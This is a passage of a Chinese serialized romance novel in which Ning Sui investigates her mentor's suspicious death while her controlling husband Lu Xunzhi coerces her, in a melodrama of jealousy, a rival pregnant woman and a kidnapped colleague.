就料到她送完宁安静,不会乖乖回景园。 “你们跟着,小心点,别让太太发现。看看太太去见了谁。”唐桓吩咐完保镖挂断电话,赶紧给陆勋之汇报了情况。 陆勋之垂着眸子一直看文件,只淡淡嗯了一声。 半小时后,唐桓收到保镖的照片,脸色有些犹豫,但还是给陆勋之看。 陆勋之看到照片脸色瞬间就黑了。 …… 宁穗一下出租车就见到了来等她的王习。 王习脸色阴沉,上前扶了一下宁穗,怕她走不稳,“阿姨没事了吧?你呢?身体有不舒服吗?” 宁穗摇头,“没事,都挺好的。师兄,到底出什么事了?” 两人一边往里走,王习一边说:“上次我跟你说过,师父的死,恐怕不简单。之前我一直以为师母是思虑过重导致的胡思乱想。但是今天师母找出了师父的旧物。三两句说不清,你跟我去看看吧。” 宁穗跟着王习去了师父家,见到师母的时候,宁穗愣住了。 师母年轻的时候就是大美女,人特别温柔,师父也宠,这么多年,都还是小女人的样子。 可这次再见,人明显苍老了不少,眼底都没有光泽。 “穗穗来了。好久不见了,你怎么也瘦了?”师母一句话就让宁穗红了眼眶。 宁穗上前,师母便握住了她的手,明明笑着,眼底却有些湿润,“你师父走后,也就你和王习来看过我,你们有心了。你师父泉下有知,一定会欣慰的。” 三人沉默下来,还是王习打破了寂静,“师母,您刚才说的那些,再给穗穗看看吧。” 师母赶紧揩去眼泪,“瞧我,忘了正事。” 随即她拿出电脑,是师父生前用的。 “我整理你师父的遗物,发现电脑好像被人动过。”师母年轻的时候是学计算机的。 这些年虽然没干老本行,但是也没丢下手艺。 她重新恢复了被删掉的数据,发现了一些邮件。 “这些邮件的IP被隐藏了,但是内容还能看到见。你师父出事前几个月,一直收到这种威胁邮件。” 宁穗看了看,对方好像要收买师父交出一个核心技术材料,但是师父拒绝。 到后边就是威胁了。 师母,“我知道我可能太疑神疑鬼,但是你师父从来都不喝酒的,怎么可能酒驾呢?” 师父是酒后危险驾驶出的事,宁穗当时也觉得不可思议。 师父这个人最讨厌人喝酒。 他常说,喝酒会让人的手指灵敏度降低,这对于他们内画这一行来说,是毁灭式的结果。 这很难不让人怀疑,师父的死有蹊跷。 “师母,您放心,我和师兄会查的,您别想那么多,等我们的消息。” 从师父家出来,王习送宁穗回了出租房。 “师兄,这件事你怎么看?”宁穗问王习。 王习脸色有些沉,“其实之前国外有几个公司想收买师父的技术专利。软硬兼施,都被师父拒绝了,我怀疑跟那些人有关系。” 宁穗还是第一次听说,自从她结婚之后,就跟师父来往比较少了。 “那就从这方面入手。”宁穗说,“你把那些公司的资料也发我一份,我看看能不能想办法查一查。” “行,你也累了,早点休息,这件事,明天再说。” 宁穗目送王习离开,上楼刚要开门,身后倏地扑上来一个身影,将她按在门板上。 冰冷的门板贴着脸,宁穗浑身都僵住。 熟悉的气息钻进鼻尖,宁穗恍惚了一下,“陆勋之?” 男人没说话,下巴紧紧压在她肩膀上,硌得她生疼,“陆勋之,你发什么疯!” “宁穗,你俩在车上待了三十七分钟,做什么了?嗯?” 巨大的羞辱感袭来,宁穗猛地掣肘,却被男人挡住,将她拦腰抱起。 陆勋之单手开门进屋,将宁穗丢在沙发上,扯下领带,一圈圈扎住她的手腕,将她的双手压过头顶。 狂风暴雨一般的吻,猛烈地砸下来。 第69章 我跟你还没离婚 宁穗眼底集聚起生理性的泪水,顺着她的脸颊滑落到嘴边。 微咸的湿润在陆勋之口腔里蔓延开,他微微一顿,撤开点距离,看着宁穗。 宁穗紧紧闭着眼睛,牙齿咬着下唇,压出深深的印子。 陆勋之突然有一种极大的挫败感,他额头抵在宁穗的颈窝里,“以后不许再见王习。” 宁穗浑身一僵,“我和师兄没你们那么龌龊。” 陆勋之哼笑一声,“是吗?你敢说,你对他一点心思都没有?” “我没必要跟你解释。”宁穗冷声说。 “好,就算你没有,那他呢?”陆勋之缓缓抬眼看向宁穗,“他看你的眼神清白吗?” 宁穗心像是被什么攥住,难受得快要爆炸。 她为自己感到委屈。 凭什么陆勋之跟宋姜弄出一个孩子来,他还有脸来质问王习看她的眼神,清不清白。 “滚开,不然我报警。”宁穗冷声说,语气里都是冷漠。 “我跟你还没离婚。”陆勋之的态度也强硬。 “那我就告你婚内强j。” 宁穗的眸光冷漠得可怕。 这样的宁穗,让陆勋之感到陌生。 一股火气涌上来,可他突然想到那个被打掉的孩子,还有宁穗可能再难怀孕的事。 男人的心还是软了一下。 他起身,将宁穗拉起来,将她手上的领带扯下来。 宁穗猛然起身,推开陆勋之冲进了卧室。 咔哒,卧室的门被锁上。 陆勋之脸色沉下来,宁穗现在防他就像是防贼。 可她刚才跟王习作别的时候,明明是笑的。 想到这,陆勋之的心口就像是被刀割了一个口子。 陆勋之在门外放了狠话,“你要是执迷不悟,我就让王习消失。一劳永逸。” 宁穗靠在门板上,心跳在耳边擂鼓,身上都是陆勋之带有侵略性的气息。 想到那张亲子鉴定,她的胃里就往上呕。 她捂住嘴,冲进了洗手间,抱着洗手池呕了半天,只呕出一些酸水。 整个人像是被掏空了一样,宁穗觉得自己快要疯了。 被陆勋之逼疯了。 她拿出手机,给裴斯年发了信息过去,【裴医生,我的检查报告出来了吗?我什么时候可以手术?】 她不想再拖了,赶紧手术,早日恢复,她还有很多事要做。 要帮师父查真相,还要去办巡展。 裴斯年帮她联系一家私立医院,保密程度很好。 到时候她就在医院里住到完全康复,就不用再见陆勋之。 裴斯年信息回过来是在半小时后,【刚才在做手术。报告已经出来了,我尽快帮你安排。】 宁穗放了心,看了看时间,给王习发了信息过去,问他到工作室没有。 他刚才说要回工作室加班。 工作室里有休息室,他大概就直接住下了。 可宁穗发完信息,太困了,等着等着就睡着了。 第二天一早,宁穗被手机铃声吵醒,打开一看,是王习办公室的电话。 以为是找到什么新线索,宁穗赶紧接通。 可那头传来的声音很模式,“喂,请问是宁老师吗?” “是,你是?” “我是王老师的徒弟,昨晚上他跟您出去,说让我等着他回来一起上色,但是我等了一晚上都没见他。电话也打不通,我带人出去找了一圈,也没知道,只能打电话问问您,您见到了吗?” 宁穗后背起了一层冷汗,脑海里满是昨晚上陆勋之说过的话。 他要让王习消失。 “你继续找,我会想办法。” “好的,宁老师。” 宁穗走出卧室,看到沙发上的毯子有些乱,陆勋之早就不知道去哪儿了。 她给陆勋之拨了电话过去,可是对方挂断没接。 宁穗更确定就是他捣的鬼。 她一边往外走,一边给唐桓打电话过去。 “唐特助,陆勋之在哪儿?” 唐桓,“太太,总裁在开会,不方便接电话。” 宁穗不信。 对方只是不想接她的电话而已。 “我想见他,你能帮我说一声吗?” 唐桓有些为难,“今天开的会比较重要,总裁还不知道什么时候结束,要不您稍微等等?” “等不了!”宁穗急了,“我现在就去陆氏,我等着他结束。” 说完宁穗挂断了电话,打车去了陆氏。 走到门口,前台却不让她进。 “不好意思,女士,您没有预约是不能进的。” 宁穗急,给唐桓打电话,这回唐桓也没接。 宁穗想直接进去,被保安拦下,“女士,您要是硬闯,我们就报警了。” 这个时候宁穗不能乱,要是真闹出事,陆勋之可能生气之下,更不会放过王习。 她深吸一口气,沉下语气,“那我在门口等。” 她刚转身,便看到一身华丽香风打扮的宋姜走过来。 一个多月没见,宋姜的脸色红润又饱满,肚子也微微隆起。 看得出来,养得很好。 宋姜也注意到宁穗,拉下眼镜看她。 前台立刻迎上来,“宋小姐,陆总交代过了,您可以直接上去。” 还贴心地帮她刷了卡。 宋姜却顿住步子,对宁穗说:“你不进去吗?” 前台愣了愣,“这位女士跟您是一起的吗?” 宋姜扯唇冷笑,戴上墨镜,“不是。”转身进了大厅。 宁穗看着宋姜的背影,本就麻木的心更加冷下去。 陆勋之还说不会让宋姜回御城。 可她怎么会出现在陆氏? 还特意给了她通行的权限。 而她,陆勋之口中还没离婚的妻子,却要大门口吃闭门羹。 “嫂子?”一道男声打断了宁穗的思绪。 她回头看过去,迎上了陆凛之的视线。 宁穗和陆凛之打交道不多,他是三叔那一房的,跟陆勋之明面上是堂兄弟,实际很不对付,暗暗较劲。 “你找我哥吗?怎么不上去啊?”陆凛之语气很是关心。 不等宁穗说什么,陆凛之嘶了一声。 “瞧我这记性,我哥今天要开董事会,还特意叫了宋姜过来。嫂子,你来得不巧。” 两句话,信息量很大。 宁穗的手指蜷缩起来,指尖嵌进掌心。 明明已经不对陆勋之抱什么希望,可是听到这句话的时候,宁穗的心还是被揪了一下。 她听到自己问,“他是要宣布宋姜的身份吗?” 第70章 你要给我生个孩子 话出口,宁穗就有些后悔。 不该跟陆凛之讨论这些事,陆勋之要是知道,又要不高兴。 现在不是惹他生气的时候。 可陆凛之并没有打算放过她,“宋姜是什么身份?” 宁穗抿唇,垂了眸子不再说话。 陆凛之微微倾身凑到宁穗跟前,这个距离已经不是正常的社交距离。 宁穗本能地往后躲,可是身后已经是椅背。 “嫂子,我哥都跟宋姜造出孩子,办了婚礼,你还跟着他做什么?好男人有的是,你看看我啊。我还单身,就这一点也比我哥强吧?” 宁穗脸色一白,没想到陆凛之会说出这么无耻的话,“滚开,不然我不客气了。” 陆凛之却恶劣的笑笑,直起身,居高临下地睨着她,“你不是想见陆勋之吗?我带你上去啊。” 宁穗倏地看向他,比起反抗陆凛之的侮辱,她现在最重要的还是要见到陆勋之。 她倏地起身,却听到陆凛之说:“嫂子,我要是你就不上去,会失望的。” 宁穗的脚步一顿,但还是决然地迈开了步子。 她的婚姻已经一塌糊涂,不能再连累自己的朋友受伤害。 即便她的伤口已经发炎溃烂,流出脓水,为了朋友,她也要戳破它。 陆凛之带着宁穗到了顶层的会议室,“我就只能送你到这了。嫂子,我还是那句话,你要是不想跟我哥过了,可以考虑我。” 不能宁穗骂他,陆凛之坏笑一声,转身离开。 会议室的窗户拉上了百叶窗,宁穗看不到里面的情景,更听不到声音。 她不能贸然冲进去,只能等着。 站在门口待了一个多小时,宁穗的腿酸得实在站不住。 她找了一个角落,靠坐在墙边。 刚坐下没几分钟,会议室的门打开,人们走出来,宁穗起身,腿有些麻。 就在这时,熟悉的声音响起。 “勋之,谢谢你给我陆氏5%的股份。” 宁穗的动作一顿,倏地看向拐角处的宋姜,对方脸上洋溢着笑意,脸颊因为羞涩而绯红。 男人对着她,却背对着宁穗,宁穗看不到陆勋之的表情。 但是宁穗清楚听到陆勋之说:“这是你应得的。” 5%的股份。 宁穗嘴角扯出苦笑,这股份足够宋姜几辈子衣食无忧。 而且据她所知,陆氏的股份,不是谁都资格拿到。 三叔那一房一直斗不过陆勋之,正是因为他们手里的股份加起来都没有陆勋之一个人多。 陆勋之足足有20%拿在手里。 这就送了四分之一给宋姜吗? 那是真的在乎宋姜和孩子了。 可这已经跟她没有关系了。 宁穗深吸气压下那股酸涩,现在最重要的就是救出王习。 她缓步上前,“陆勋之。” 男人微顿,缓缓转身看向她,宁穗明显看到他眼底的一丝不自然。 宁穗冷笑,他也会觉得不好意思吗? 是了,答应她的事,一次两次三次的食言。 这么骄傲的人,被她当众揭穿,自然是不舒服的。 “你怎么在这?”陆勋之上前,脸色很不好。 宁穗余光瞥了一眼宋姜,对方却勾起挑衅的笑容。 “我有话要跟你说。” 陆勋之眉心微拧,刚要开口,宋姜先一步说:“勋之,你不是说要带我跟董事们吃个饭吗?快到时间了。” 她又好声好气地对宁穗说:“宁穗,我们是谈公事。你的事,回家再说好吗?” 宁穗勾唇冷笑,“宋姜,我是不是警告过你?你要是在我面前蹦跶,我让你的孩子生不下来。” 宋姜噎住,咬住唇看向陆勋之。 “宁穗!”陆勋之一把捏住宁穗的胳膊,“跟我过来。” 宋姜在后边跟上,想叫住陆勋之,她现在可不想让陆勋之有机会跟宁穗独处。 但她走上前,没几步,就被唐桓拦住了去路。 “宋小姐,我送您去餐厅吧。” 宋姜咬唇,“我要等勋之。” “宋小姐,总裁说过,您拿到股份的前提是,您要听话。”唐桓笑着,但语气明显是威胁。 宋姜心里不爽,一个助理凭什么对她指手画脚。 但是唐桓不一样,他就是陆勋之忠心的狗,他的话,就代表陆勋之的意思。 她不敢反抗,至少现在不敢。 宋姜狠狠瞪了唐桓一眼,早晚有一天,她会当上陆太太,第一件事,就是开除唐桓。 宁穗被陆勋之拉着往前走,脚步有些趔趄。 在进门的一瞬间,她差点滑倒。 腰上一紧,陆勋之第一时间扶住她。 宁穗站稳,就赶紧从他怀里出来。 陆勋之的手上一空,有种失落感。 见她这一副要跟自己划清界限的样子,陆勋之很不爽地冷笑,“这么着急地在门口等着我,现在又闹什么?” 宁穗抿唇,这跟说她是欲擒故纵耍手段有什么区别。 可她懒得跟他扯皮,“你把王习弄哪儿去了?” 陆勋之一愣,显然没想到,她会说出这种话。 本以为她会问宋姜为什么回国。 宋姜又因何出现在董事会。 只要她问,陆勋之就会考虑告诉她。 可是她偏偏一开口就是问王习。 陆勋之的脸色瞬间黑下来,“他去哪儿了,你问我?他是穿尿布的孩子?还是说,我是他爹?” 宁穗脸颊一红,他这么粗俗地贬低王习,让她更加确认,就是陆勋之带走了王习。 她勉强压下心里的怒气,尽量平和地跟他说:“王习失踪了,是你抓了对不对?你昨晚上还说,会让王习消失。不是你还能是谁?” 陆勋之气笑了,伸手捏住宁穗的下巴,迫使她抬头。 他手上没用力气,但是这个姿势,让人很不舒服。 明显的上下位的压制感。 “我说了那么多话,你都不信,怎么这句你就信了?” 他说了宋姜的孩子不是他的。 他跟宋姜根本没有关系。 那场婚礼也只是权宜之计。 可这些她统统不信。 偏偏他说的一句气话,她就当真。 说到底,还是关心王习胜过在乎他。 陆勋之不想承认,可是这个念头一旦出来,就要吞没他的理智。 他手上不自觉地加了力气,宁穗的下巴被捏得生疼。 她的五官挤作一团。 陆勋之一愣,随即松了手。 宁穗疼得微微弓起后背,男人冷涔的声音砸下来。 “你想救王习?可以。答应我的条件。” 宁穗已经领会过陆勋之的无耻,知道他的条件肯定苛刻,但现在她别无他法,“什么条件?” 陆勋之缓步上前,逼近她的视线,一双眸子,死死盯住她,她再也逃脱不得。 “宁穗,你想离婚可以,但你要给我生个孩子。孩子归我。” 第71章 她对陆勋之早就死心了 宁穗完全僵住,瞳孔微缩。 一把无形的刀,直接扎在宁穗的心口,而执刀的人,就是陆勋之。 他明知自己刚刚流产,而且还有可能再也不能怀孕。 却提出这样无礼的要求。 这跟直接打她的脸,有什么区别。 宁穗的眼眸瞬间集聚起泪水,要掉不掉,就那么怔怔地看着陆勋之。 男人抬手,拇指揩她的眼角,宁穗却歪头躲开。 硕大的泪珠被甩出去,砸在地面上。 陆勋之垂眸看着自己悬在半空的手,空荡荡的,嘴角轻扯起苦涩的弧度,“宁穗,你好好考虑,我无所谓,但是王习等不起。” 宁穗的呼吸一滞,垂在身侧的手指缓缓蜷缩起来。 她死死咬住下唇,沉重地点了点头,“好,我答应你。” 陆勋之眼底闪过一丝异样,长臂一伸,将人搂进怀里。 宁穗生理性的抗拒,想要逃脱,却被男人紧紧掐住后腰。 陆勋之薄唇凑到她耳边,声音像是被砂纸擦过,低沉又威胁,“抱都不让抱,怎么生孩子?” 宁穗僵住,一动不动,像个没有生气的玩偶。 陆勋之的下巴轻轻蹭她的发顶。 眼底是淡淡的庆幸和忧伤,“恨我吗?” 宁穗哼笑一声,“问这个有意思吗?” 男人扯唇,“恨吧。” 总比对他什么反应都没有的好。 陆勋之就这样抱了她几分钟。 宁穗心里煎熬得很,忍不住冷漠道,“可以了吗?放了王习。” “你心里就只有王习?”陆勋之的周身散发着冷意。 宁穗觉得他现在问这个简直就是笑话。 用这么拙劣的手段对付她,两人之间难道还要谈情谊吗? 一场交易而已。 宁穗抿唇没说话,陆勋之顿了几秒钟,倏地放开她,转身出了办公室。 四周空旷下来,宁穗才能得以喘息,她跌坐在沙发上,怔怔地望着地板。 “陆总。”唐桓一直在门口守着,看到陆勋之出来,立刻上前。 “去查查王习被什么人带走了。想办法找回来。”陆勋之顿了一下,“重点查查是不是三房那边在闹事。” “是。” 唐桓犹豫了一下,小声提醒陆勋之,“要不要跟太太解释一下?” 刚才两人进去的时候,没有第一时间关门,他是听到了争吵。 宁穗怀疑陆勋之抓了王习。 偏偏这爷就不解释。 他突然想起周南昭说的那句,“你家老板火化之后,拨一拨骨灰,嘿,嘴还在。” 唐桓死死咬住嘴唇,才没笑出来。 “你这是什么表情?”陆勋之冷肃的声音砸下来。 唐桓猛摇头,不敢说,还想活。 陆勋之烦躁地摆摆手,“快去办吧。” “好的。”唐桓跑出去又折回来,“陆总,董事会那边饭局您还去吗?” 陆勋之脸色沉了沉,“不去了。” “可是宋小姐那恐怕难办。我担心这股份她拿不住。”唐桓知道那些董事都是牛鬼蛇神。 那些人要是看到陆勋之根本不出席,就会觉得宋姜没什么分量。 一个女人,股份早晚被人整走。 唐桓是舍不得这股份。 …… 宁穗在房间里等啊等,都没见到陆勋之回来。 眼看半小时过去了,宁穗实在担心王习,拿出手机给陆勋之打了电话过去。 那边很久才接起,随即传来酒桌上推杯换盏的响声,然后是宋姜声音,“喂,勋之在忙,这会儿没时间。” 宁穗的呼吸一滞。 在忙? 就是配宋姜吃饭吗? 宁穗手指捏紧手机,指节都捏得发白。 那头传来有人敬酒的声音,“宋小姐,敬你一个,拿到股份之后,你就是陆家的人了,以后要多多关照。” “是啊,我也跟一个,宋小姐,陆总还专门来为你请客吃饭,可见重视程度。” 宁穗直接挂断了电话。 陆勋之口口声声要跟她生孩子,转身就去陪宋姜吃饭,拓展人脉。 但宁穗情绪没有任何波澜。 她对陆勋之早就死心了。 现在只希望,他做个人,放过王习。 房门被敲响,宁穗猛地起身看过去。 进来的却是总裁办的女秘书,对方手里拿着精致的盒饭进来。 看到宁穗的时候,笑容一僵。 视线扫了一圈,没见到陆勋之,眼底闪过失望。 刚才她接到唐桓的电话,说让她给总裁办公室送一份套餐过去。 她高兴坏了。 在总裁办做了这么久,一直都没有机会跟陆勋之接触。 都是男秘书在对接工作,女秘书就两个人,还都是做外围的工作。 好不容易等到让她来送饭的机会,结果没有陆勋之,只有一个女人。 她突然明白过来,怪不得让她来送餐,原来是因为有女士。 白高兴半天。 秘书不动声色地打量这个女人,长得挺好看,就是太瘦,而且穿着很普通。 而且那个眼神,好冷啊。 秘书默默打了一个寒战,恭恭敬敬地放下饭盒,“您请用餐。” 宁穗微微颔首,“你好,请问陆总什么时候回来?” 她现在不清楚陆勋之是不是故意让她在这等。 想要磨磨她的性子。 秘书愣了下,她哪里知道,但是又不敢得罪宁穗。 毕竟能在陆总办公室等人的,也不是一般人。 “女士,我不负责陆总的行程安排,所以没办法回答您。但是陆总去跟董事会吃饭了,应该会谈很多事情。” 这意思,就是一时半会,不知道什么时候回来。 看着宁穗脸色立刻白了几分,听到这个答案还挺失望的。 看来是又一个想要追陆总的人? 秘书有些不爽,毕竟自己等了这么久都没机会,凭什么这个女人普普通通就能坐在这里。 “女士,听说今天饭局,陆总是要介绍自己的伴侣给董事会认识。” “伴侣?”宁穗茫然地看向她。 秘书突然觉得自己猜对了。 一想也是,陆勋之把这个女人晾在这,那就是想拒绝,但又不好撕破脸吧。 越想越觉得是,要是她能帮陆勋之解决这个麻烦,以后是不是有更多机会? 秘书壮了胆子,“对,今天董事会,陆总的女眷来参加了。应该一起去吃饭了。” 她故意说得模棱两可,反正让宁穗误会,知难而退就好了。 宁穗喃喃,“他已经公开了她的身份吗?” 第72章 爱和不爱,真的完全不同 秘书看着宁穗有些失神的样子,顿时觉得自己猜的是对的。 “是啊,很照顾的,刚才还特意吩咐我,不要准备茶或者咖啡,因为她怀了身孕。” 虽然是唐桓吩咐的,不是陆勋之亲自说的,但是唐桓就是陆勋之的嘴啊。 约等于就是陆勋之吩咐的。 说完,秘书看着宁穗嘴角勾起冷笑,似乎对陆勋之已经完全失望的样子,她满意离开。 宁穗缓缓靠在沙发上,早该想到的,不然陆勋之怎么会肯给宋姜股份? 可知道,和真听到,心里还是有些不同。 平时她不舒服的时候,陆勋之都发现不了。 有一次她发烧了,烧得迷迷糊糊醒不过来。 那时候家里的佣人根本不把她当回事。 也不会发现她在生病。 陆勋之半夜出差回家,便爬了上来,都进行到一半,才觉察到她的体温不对。 对她是多么的不在乎啊。 可到宋姜这,喝什么都要亲自过问。 爱和不爱,真的完全不同。 宁穗闭了下眼睛,再睁开,眼底的不甘已经完全褪去,只剩下冷漠。 她没去动桌上的食物。 王习生死莫测。 陆勋之又带着小三招摇过市。 她真的一点胃口都没有。 就这样呆坐了两个小时,手机响起,宁穗拿起来一看,是陌生号码。 她平时是不接陌生号码的,但是现在她生怕是关于王习的事,就赶紧接通。 沙哑又熟悉的声音传来,“穗穗,是我。” 宁穗倏地坐直,眼圈瞬间就红了,“师兄,你没事吧?” 王习轻笑一声,但明显有气无力,似是被折腾得不轻,“没事,陆勋之的人把我送到医院了。” 医院? 宁穗的心被攥住,陆勋之太过分了,居然还打人了。 “你在哪家医院?我马上过去。”宁穗慌忙起身,急匆匆地离开了办公室。 …… 陆勋之从洗手间出来,便看到宋姜在接自己的手机。 面色不虞地走过去,“为什么碰我的手机?” 宋姜一愣,随即很快收拾好表情,还好刚才她顺手就把宁穗的通话记录删掉了。 她甜甜一笑,“我就是看看时间。”随即转移话题,“勋之,谢谢你给我股份,给我和孩子一个保障。” 陆勋之冷淡地拿起餐巾抖开,“也不全是为了你。股份是谁孩子的。” 他说的声音不大,周遭大家都没注意这边的互动。 但宋姜还是瞬间就羞红了脸。 她当然知道这个股份是怎么来的。 陆勋之对她没有一丝怜惜,前段时间直接将她丢到国外不管了。 郑美婵也被发配,性情大变,对宋姜也没了之前的怜爱。 要不是她耍了手段,利用陆勋之的愧疚,他怎么可能会跟自己举办婚礼。 她手里只有这一点点筹码了。 还好,这个筹码,足够重要。 就连要股份这种事,陆勋之都能答应。 宋姜也很意外。 想到这,宋姜又觉得宁穗是输定了。 她拿什么跟自己比呢? 宋姜心情又好了一些,甜甜一笑,“不管怎么说,都谢谢你。” 陆勋之却意味深长地冷笑一声,斜睨过来,语意不详地问,“是真心想谢?” 宋姜遭不住他这样的眼神,太可怕了。 上次见到这么可怕的眼神,还是那次宁穗差点掐死她。 是真心想谢吗? 真想谢,为什么还要拿筹码来威胁他呢? 宋姜语塞,脸色都跟着白了几分。 好在唐桓突然出现,解了围。 他低声在陆勋之耳边说了什么,陆勋之淡声说:“找到就行了。让人送医。” “是。” 陆勋之拿起手机,调出宁穗的对话界面,空荡荡了的,已经很久没有聊过。 手指悬空在键盘上,想告诉她,他答应的事做到了。 但他又删掉。 凭什么现在就告诉她,难道让她有机会去找王习吗? 一股莫名火窜上来,陆勋之动作很重地放下手机。 在饭局上耽搁了时间,陆勋之一路上催着司机开快点。 下了电梯,步履匆匆往办公室走。 刚才给宁穗送饭的秘书赶紧上前,“陆总,您吩咐的午饭我已经送过去了。” 陆勋之顿了一下脚步,扫了一眼秘书,完全没印象。 但是这件事是他让唐桓办的,他知道,“嗯。” 陆勋之推开办公室的门,扫视一圈,没有人影,视线落在桌上。 饭盒纹丝未动。 “她人呢?”陆勋之冷肃着声音问。 秘书也被吓了一跳,陆勋之平时很冷淡,但是发火的时候很少,但现在明显带了薄怒。 她赶紧回答,“十分钟前,那位女士刚才接了一个电话,就急匆匆离开了。” 陆勋之缓缓看向秘书,眼底的寒意快要凝成实质。 秘书吓得缩了缩脖子。 天呀,她真是后悔,终于明白为什么另一个女秘书说,不想靠近陆勋之。 因为他太可怕了。 她后悔了,真的不该凑过来。 甚至开始心虚,是不是自己刚才跟宁穗乱说话的事,陆勋之已经知道了。 可男人冷笑一声,推门而入,砰的一声摔上了门。 宁穗赶到医院的时候,王习刚包扎完。 还能看到他脸上的青紫伤口,一只胳膊也打了石膏。 “师兄,都检查了吗?伤口都处理了?”宁穗声音都带着颤。 她气得手指发抖,陆勋之竟然下这么重的手。 他真的比自己想象的还要无耻。 “师兄,要不住院观察一下吧。”宁穗见王习额头上也有伤,生怕再有脑损伤。 而且他的手还受伤了,恐怕个把月都没办法画画了。 这是砸人的饭碗。 宁穗脸色又白了几分。 王习笑着安慰她,“我没事,幸亏送来得早,还没受重伤。” 这句话让宁穗更内疚了。 要不是因为她,王习也不用受这遭。 但她又庆幸,好在陆勋之提出那羞辱人的条件时,她并没有拖延时间,及时阻止了陆勋之继续迫害王习。 这种痛苦的拉扯让宁穗的心都快要被扯碎了。 王习看她脸色不对,赶紧劝她,“没事的。我这不是好好的?” 宁穗怔愣的样子实在太让人可怜了,王习抬手拍拍她的肩膀,将人往怀里带了带。 不远处,有人按下了快门。 第73章 要我抱你? “哎,你瞎拍什么?”送王习来的保镖搡另一个保镖。 对方傻愣愣的,“唐助理说了,人要是安全了给他拍照片。我现在给唐助理发过去。” 宁穗回神,往后撤了撤,又不敢动作太大,怕碰到王习的伤口。 “那我送你回去休息吧。”宁穗扶着王习起身,两个保镖还想跟上去。 被宁穗吓退,“你们还有完吗?” 两人有些懵。 不是他们救的人吗? 宁穗这反应,好像是他们打了王习似的。 宁穗来的路上给王习的徒弟打了电话,她扶着王习走出医院,就碰上了他们。 “怎么给伤成这样啊?”徒弟小刘气得脸都红了,“师父,手怎么样?没骨折吧?” 王习扫了宁穗一眼,“没那么严重,别吓着人。” 小刘这才反应过来,宁穗的表情看上去不太好,像是被吓着了。 “宁老师,谢谢你,幸亏有你。”小刘就差给宁穗鞠躬了。 这让宁穗更羞愧,要不是她,王习根本不会受这个罪。 “到底谁干的啊?”小刘嘟囔了一句。 小刘带了好几个人来,王习看向宁穗,对方垂着眸子没说话。 现在不是说话的时候,王习没回答这个问题,“行了,先回去吧。小刘,派个人送宁穗回去。” 宁穗刚想说要跟着王习一起回去,想看到王习没事了才放心。 但是手机响起,界面上显示陆勋之的信息,简单直接,不容反抗,【回景园,马上。】 她嘴角扯出苦笑,真的一刻也不让她缓口气。 “不用了,师兄,我还有事。”宁穗挤出笑容。 王习愣了一下,明明宁穗是笑着的,可是在她眼中看到浓浓的悲伤。 让他的喉咙一哽,一时没有说上来话。 王习还没来得及说什么,宁穗先一步离开,已经拦了车上车离开。 “王先生。”送王习来医院的两个保镖跟上来。 面色冷冷的,说话也硬邦邦,“陆总让带话给您,请您离宁小姐远一点。” 王习脸色沉下来,没说什么,看着两个保镖离开。 “师父,他们是谁?是他们抓的你吗?”小刘担心,眼底有些恨意看着那些保镖。 王习摇头,他现在也不知道是谁要对他下毒手。 但是那些人明显是冲着他的手来的。 今天要不是陆勋之的人及时救了他,他的手就算是要废了。 可是现在看来,陆勋之救他,完全是因为宁穗。 王习眼神一紧,他拿出手机,可手不方便,手机差点掉在地上。 小刘赶紧帮忙,王习勉勉强强发了信息出去,【别为了我做傻事。】 宁穗没回。 …… 出租车开不进景园。 宁穗在路边下车付钱,缓步往里走。 她像是赴刑场似的,每走一步,都是煎熬。 这些日子,她一心想要逃离的地方,却有一只无形的手,一次次将她拉回来。 难以反抗的绝望感,快要吞噬她。 没走出去多久,一辆车停在她身侧。 车窗落下,陆勋之冷若冰霜的脸露出来。 “上车。”男人斜睨着她,发出命令,眼底是无尽的冷漠。 宁穗浑身僵硬,一动不动。 如果她踏上这辆车,是不是之前的努力,都成了笑话? 见她一动不动,男人脸色更冷了几分,似乎耐心告罄,“要我抱你?” 她知道等待她的是什么。 陆勋之能提出这种非人的要求,怎么会对她温柔? 可是她好憋屈。 凭什么他在外边承认宋姜,给宋姜股份。 却还要把她藏在暗处,见不得人,再给他生个孩子。 垂在身侧的手指痉挛蜷起,指尖嵌进掌心,刺破皮肤,疼痛感让宁穗找回一丝理智。 想到唐佳笑的母亲,王习差点废掉的手。 她还有的选吗? 自己做错的事,选错的人,难道要朋友替她买单吗? 这不公平。 宁穗深吸一口气,拉开车门上车。 陆勋之看到她眼底赴死一般的决然,心里一股无名火。 他抬手掐住宁穗的下巴,将人拉到跟前,吻了上去。 与其说是吻,更像是啃噬。 宁穗手撑在他的胸.口,眼角凝聚起生理性的泪水。 司机还在开车,宁穗觉得过于屈辱,她使劲躲了躲,靠在陆勋之的肩头,“回家,行吗?” 声音透着浓浓的疲惫,语气也因此变得不那么尖锐,甚至有一丝丝乞求。 陆勋之的气息不稳,听到她的这个语气,眼底的暴虐明显软了软,他伸手点了一下按钮。 隔板缓缓升起。 后座成了密闭的空间。 他手指捏住宁穗的下巴,轻轻抬起,不似刚才那么粗鲁。 可宁穗垂着眸子,冷着脸并不看他。 陆勋之,“看着我。” 宁穗眼睫颤动,缓缓掀起眼皮看向他。 眼尾通红,眼底湿漉漉的,看上去像是被欺负狠的小猫。 倔强又反抗不了。 陆勋之喉结上下滚动,目光一寸寸地刮过她脸上的皮肤,眸底暗如深潭,像是要将她吞进去。 他的眼神炽热如此,好像他在看着自己最爱的人。 宁穗有一瞬间的恍惚。 这样的眼神,应该是看自己深爱的人的眼神。 如果是两个月之前,她看到这种眼神,一定会沉溺其中。 可惜啊,她现在什么都不相信了。 她因为爱上不该爱的人,让她失去了太多。 她已经完全不像是她自己了。 陆勋之看着她的眼神从惊讶到失望,再到最后的嘲弄。 他的心像是被针扎了无数次。 疼得他呼吸都困难了,胸口剧烈起伏,陆勋之捏住她的后颈,又吻了上去。 宁穗从开始的抵抗,到后边干脆放弃,像个没有生气的布娃娃,任由他予取予求。 陆勋之从一开始的掠夺式,又慢慢变得温柔,甚至开始炫技,有些讨好的意味。 到最后,他一下下啄她的唇角。 宁穗感受到滚烫的湿润,砸在她的脸颊上,她怔怔地抬眼,看向陆勋之。 对方却倏地将脸埋进了她的颈窝。 湿热的气息喷洒在她的耳侧,不是情动,而是浓浓的悲伤。 宁穗怔怔地看着星空车顶,感受陆勋之在轻轻地颤抖。 他……是哭了? 第74章 陆勋之无理取闹 宁穗突然扯唇自嘲,就算哭了怎么样? 也不会是为了她。 宁穗就这样静静地等着他情绪平复。 天慢慢黑下来,陆勋之起身,将宁穗打横抱起,带下车,大步走进别墅。 宁穗借着昏暗的路灯看他。 他的眼尾红红的,眼白上都是血丝,看上去很像是哭过。 